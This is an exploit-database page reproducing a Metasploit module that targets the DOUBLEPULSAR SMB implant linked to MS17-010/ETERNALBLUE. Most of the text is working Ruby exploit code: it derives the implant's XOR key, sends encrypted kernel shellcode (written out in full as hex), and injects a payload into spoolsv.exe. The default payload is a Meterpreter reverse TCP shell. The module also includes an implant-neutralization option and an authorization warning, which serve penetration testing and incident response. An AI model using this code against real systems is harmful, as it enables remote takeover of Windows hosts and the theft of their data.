DOUBLEPULSAR Payload Execution and Neutralization (Metasploit)
CVE
Category
Price
Severity
CVE-2017-0143, CVE-2017-0144
CWE-400
Not disclosed
High
Author
Risk
Exploitation Type
Date
Metasploit
High
Remote
2019-10-14
CPE
cpe:cpe:/a:microsoft:windows
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019100095 Below is a copy:
DOUBLEPULSAR Payload Execution and Neutralization (Metasploit) ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB::Client
MAX_SHELLCODE_SIZE = 4096
def initialize(info = {})
super(update_info(info,
'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equatison Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'zerosum0x0', # DOPU analysis and detection
'Luke Jennings', # DOPU analysis and detection
'wvu', # Metasploit module and arch detection
'Jacob Robles' # Metasploit module and RCE help
],
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
],
'DisclosureDate' => '2017-04-14',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload', {}],
['Neutralize implant', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => [
'auxiliary/scanner/smb/smb_ms17_010',
'exploit/windows/smb/ms17_010_eternalblue'
],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
))
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end
OPCODES = {
ping: 0x23,
exec: 0xc8,
kill: 0x77
}
STATUS_CODES = {
not_detected: 0x00,
success: 0x10,
invalid_params: 0x20,
alloc_failure: 0x30
}
def calculate_doublepulsar_status(m1, m2)
STATUS_CODES.key(m2.to_i - m1.to_i)
end
# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end
# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end
def generate_doublepulsar_timeout(op)
k = SecureRandom.random_bytes(4).unpack('V').first
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end
def generate_doublepulsar_param(op, body)
case OPCODES.key(op)
when :ping, :kill
"\x00" * 12
when :exec
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
end
end
def check
ipc_share = "\\\\#{rhost}\\IPC$"
@tree_id = do_smb_setup_tree(ipc_share)
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
vprint_status("Target OS is #{smb_peer_os}")
vprint_status('Sending ping to DOUBLEPULSAR')
code, signature1, signature2 = do_smb_doublepulsar_pkt
msg = 'Host is likely INFECTED with DoublePulsar!'
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
@xor_key = calculate_doublepulsar_xor_key(signature1)
@arch = calculate_doublepulsar_arch(signature2)
arch_str =
case @arch
when ARCH_X86
'x86 (32-bit)'
when ARCH_X64
'x64 (64-bit)'
end
vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
CheckCode::Vulnerable
when :not_detected
vprint_error('DOUBLEPULSAR not detected or disabled')
CheckCode::Safe
else
vprint_error('An unknown error occurred')
CheckCode::Unknown
end
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
# No ForceExploit because @tree_id and @xor_key are required
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end
case target.name
when 'Execute payload'
unless @xor_key
fail_with(Failure::NotFound, 'XOR key not found')
end
if @arch == ARCH_X86
fail_with(Failure::NoTarget, 'x86 is not a supported target')
end
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
print_status('Sending shellcode to DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
when 'Neutralize implant'
return neutralize_implant
end
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Payload execution successful')
when :invalid_params
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
when :alloc_failure
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
ensure
disconnect
end
def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Implant neutralization successful')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
end
def do_smb_setup_tree(ipc_share)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
simple.connect(ipc_share)
# return tree
simple.shares[ipc_share]
end
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(opcode, body)
sock.put(pkt)
bytes = sock.get_once
return unless bytes
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end
def make_smb_trans2_doublepulsar(opcode, body)
setup_count = 1
setup_data = [0x000e].pack('v')
param = generate_doublepulsar_param(opcode, body)
data = param + body.to_s
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
base_offset = pkt.to_s.length + (setup_count * 2) - 4
param_offset = base_offset
data_offset = param_offset + param.length
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
@multiplex_id = rand(0xffff)
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = body.to_s.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup_data
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
pkt['Payload'].v['Payload'] = data
pkt.to_s
end
# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack("S<")
sc << ring3
sc
end
def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"
process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end
[proc_hash].pack('l<')
end
def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end
def kernel_shellcode_size
make_kernel_shellcode('').length
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum